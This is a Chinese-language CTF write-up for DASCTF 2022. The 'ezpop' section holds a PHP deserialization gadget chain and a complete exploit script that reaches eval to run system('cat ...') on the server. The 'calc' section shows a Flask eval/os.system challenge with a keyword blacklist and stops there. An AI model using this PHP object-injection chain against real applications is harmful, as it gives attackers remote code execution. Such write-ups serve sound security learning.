DASCTF 2022

ezpop

题目源码为

<?php

class crow
{
public $v1;
public $v2;

function eval() {
    echo new $this->v1($this->v2);
}

public function __invoke()
{
    $this->v1->world();
}
}

class fin
{
public $f1;

public function __destruct()
{
    echo $this->f1 . '114514';
}

public function run()
{
    ($this->f1)();
}

public function __call($a, $b)
{
    echo $this->f1->get_flag();
}

}

class what
{
public $a;

public function __toString()
{
    $this->a->run();
    return 'hello';
}
}
class mix
{
public $m1;

public function run()
{
    ($this->m1)();
}

public function get_flag()
{
    eval('#' . $this->m1);
}

}

if (isset($_POST['cmd'])) {
unserialize($_POST['cmd']);
} else {
highlight_file(__FILE__);
}

因此构造反序列化

fin->(调用destruct)->what->(调用tostring）->fin->(调用run)->crow->(调用invoke)->fin->(调用call)->mix->(getflag)

绕过井号：利用?><?php标签绕过

<?php
class what
{
public $a;

public function __construct(){
    $this->a = new fin();
}
}
class mix{
public $m1;

public function __construct(){
    $this->m1 = "?><?=system('cat H0mvz850F.php');";
}

public function get_flag()
{
    eval('#' . $this->m1);
}

}
class fin{
public $f1;

public function __construct(){
    $this->f1 = array(new mix(), 'get_flag');
}
}
$a = new fin();
$a->f1 = new what();
echo urlencode(serialize($a));

之前需要ls查看所有文件,然后一个一个尝试拿到flag最终flag在H0mvz850F.php上

calc

这道题本来以为做过就应该能拿下,但是后面发现ban的东西挺多的,一直都做不出来。现在来重新复盘

@app.route("/calc",methods=['GET'])
def calc():
ip = request.remote_addr
num = request.values.get("num")
log = "echo {0} {1} {2}> ./tmp/log.txt".format(time.strftime("%Y%m%d-%H%M%S",time.localtime()),ip,num)

if waf(num):
    try:
        data = eval(num)
        os.system(log)
    except:
        pass
    return str(data)
else:
    return "waf!!"

waf(num)的黑名单是

blacklist = ['import','(',')',' ','_','|',';','"','{','}','&','getattr','os','system','class','subclasses','mro','request','args','eval','if','subprocess','file','open','popen','builtins','compile','execfile','from_pyfile','config','local','self','item','getitem','getattribute','func_globals','__init__','join','__dict__']